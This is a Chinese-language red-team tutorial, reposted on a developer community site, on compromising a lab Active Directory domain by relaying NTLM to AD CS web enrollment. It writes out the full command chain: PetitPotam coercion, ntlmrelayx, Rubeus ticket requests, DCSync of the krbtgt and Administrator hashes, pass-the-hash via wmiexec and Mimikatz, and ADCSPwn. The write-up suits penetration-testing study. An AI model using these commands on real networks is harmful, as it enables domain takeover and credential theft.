在企业环境中部署 Active Directory 证书服务 (AD CS) 可以允许系统管理员利用它在不同目录对象之间建立信任。但是,它可能允许红队操作员对 AD CS 的 Web 界面进行 NTLM 中继攻击,以破坏网络。Web 界面用于允许用户获取证书(Web 注册),通过 HTTP 协议,不支持签名并接受 NTLM 身份验证。
Will Schroeder和Lee Christensen在认证二手白皮书中介绍了攻击的详细信息。该攻击强制域控制器计算机帐户 (DC$) 向配置了 NTLM 中继的主机进行身份验证。身份验证转发给证书颁发机构 (CA) 并提出证书请求。一旦为 DC$ 帐户生成证书,攻击者就可以使用它在域控制器上执行任意操作,例如检索 Kerberos 帐户的哈希值以创建金票并建立域持久性或转储域管理员的哈希值并建立与域控制器的通信通道。
Active Directory 证书服务可以作为角色安装在域控制器上或作为域一部分的单个服务器中。下图说明了攻击的步骤:
攻击需要认证机构的身份。“ certutil ”二进制文件是一个命令行工具,可用于转储和显示证书颁发机构信息、验证证书等。因此,它可以用作发现域上是否部署了证书颁发机构的快速方法。
certutil.exe
服务器名称已标识为“ ca.purple.lab ”,并且可以通过以下 URL 上的 HTTP 访问 Web 注册服务:
http://ca.purple.lab/certsrv/
证书颁发机构 - Web 注册界面
在未加入域的系统中,执行Impacket 套件中的“ ntlmrelayx.py ”将配置各种侦听器(SMB、HTTP、WCF),这些侦听器将从域控制器计算机帐户捕获身份验证并将该身份验证信息中继到活动目录证书颁发机构服务器。
python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
强制验证可以由Lionel Gilles开发的名为PetitPotam的概念证明触发。这是通过利用MS-EFSRPC协议进行 API 调用 (EfsRpcOpenFileRaw) 来实现的,该调用将触发目标上的计算机帐户向另一个系统进行身份验证。它可以通过提供标准用户凭据并使用配置 NTLM 中继的系统 IP 和 CA 的 IP 地址来执行。
python3 PetitPotam.py -d purple.lab -u pentestlab -p Password1234 <Listener-IP> <DC-IP>
即使未提供凭据,也可能执行此攻击。如果在域控制器而不是不同的服务器上部署证书颁发机构而没有采取预防措施,那么即使没有凭据访问网络也可能导致域受损。
python3 PetitPotam.py 10.0.0.2 10.0.0.1
如果显示以下输出,则表示攻击成功并且已触发身份验证。
或者,如果已建立对加入域的系统的初始访问权限,则可以改用二进制文件。
PetitPotam.exe 10.0.0.2 10.0.0.1
与大多数攻击一样,Benjamin Delpy也在较新版本的Mimikatz 中实现了身份验证触发器。使用加密文件系统 (EFS) 模块,并指定域控制器和充当 NTLM 中继的主机将发送远程过程调用。
misc::efs /server:dc.purple.lab /connect:10.0.0.2
还有一个PetitPotam攻击的 PowerShell 实现,它是由S3cur3Th1sSh1t在 Mimikatz 模块之后开发的。
Import-Module .\Invoke-Petitpotam.ps1
Invoke-Petitpotam -Target 10.0.0.1 -CaptureHost 10.0.0.2
以上所有触发器都将强制 DC$ 帐户(域控制器上的机器帐户)向证书颁发机构进行身份验证。
由于攻击需要安装 Web 服务组件或 Web 注册,因此将提出对 DC$ 帐户下的证书的请求。将以 Base64 格式为帐户生成证书。
获得的证书可以与Rubeus一起使用,以便为作为域控制器上的高特权帐户的机器帐户请求 Kerberos 票证(Ticket Granting Ticket)。
Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
票证将导入到用户的当前会话中。由于此票属于 DC$ 帐户,因此可用于进行一系列活动以破坏域,例如检索“ krbtgt ”帐户的 NTLM 哈希值并创建黄金票,通过以下方式与域控制器建立连接WMI,执行传递散列等。
运行以下命令将验证票证是否已缓存到当前登录会话中。
klist
由于票据被缓存,DCSync技术可用于检索“ krbtgt ”帐户的哈希值,以创建黄金票据并建立域持久性。
mimikatz # lsadump::dcsync /user:krbtgt
类似地,可以检索用户“管理员”的密码哈希。该用户是“域管理员”组的成员。
lsadump::dcsync /domain:purple.lab /user:Administrator
哈希值可以与来自 Impacket 的“ wmiexec ”一起使用,以便以域管理员身份与域控制器建立会话。
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
或者,可以使用 Mimikatz 或任何其他类似工具来执行散列传递技术。在 Mimikatz 中执行以下命令将创建另一个会话作为用户“管理员”。
sekurlsa::pth /user:Administrator /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
可以从新会话映射驱动器 C$ 以访问域控制器文件系统。
net use z: \\dc\c$
dir z:
映射域控制器驱器
实现攻击的替代工具 ( ADCSPwn ) 是由batsec用 C# 开发的,可以通过“ execute-assembly ”在 Cobalt Strike 中使用,或与任何其他类似的红队框架(如 Covenant)一起使用。明显的好处是可以直接从内存中执行攻击,而无需将任何内容删除到磁盘或使用另一个系统作为中继以将身份验证传递给 CA。ADCSPwn 在本地设置中继服务器并通过调用 API (EfsRpcOpenFileRaw) 强制进行身份验证。
adcspwn.exe --adcs ca.purple.lab --remote dc.purple.lab
ADCSPwn
证书将以 Base64 格式生成到控制台中。
但是,需要注意的是,该攻击仅在“ WebClient ”服务在域控制器上运行时才有效。默认情况下未安装此服务,因此直接执行该工具不太可能产生预期结果。
“WebClient”服务是在服务器上安装“ WebDav Redirector ”功能时创建的。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。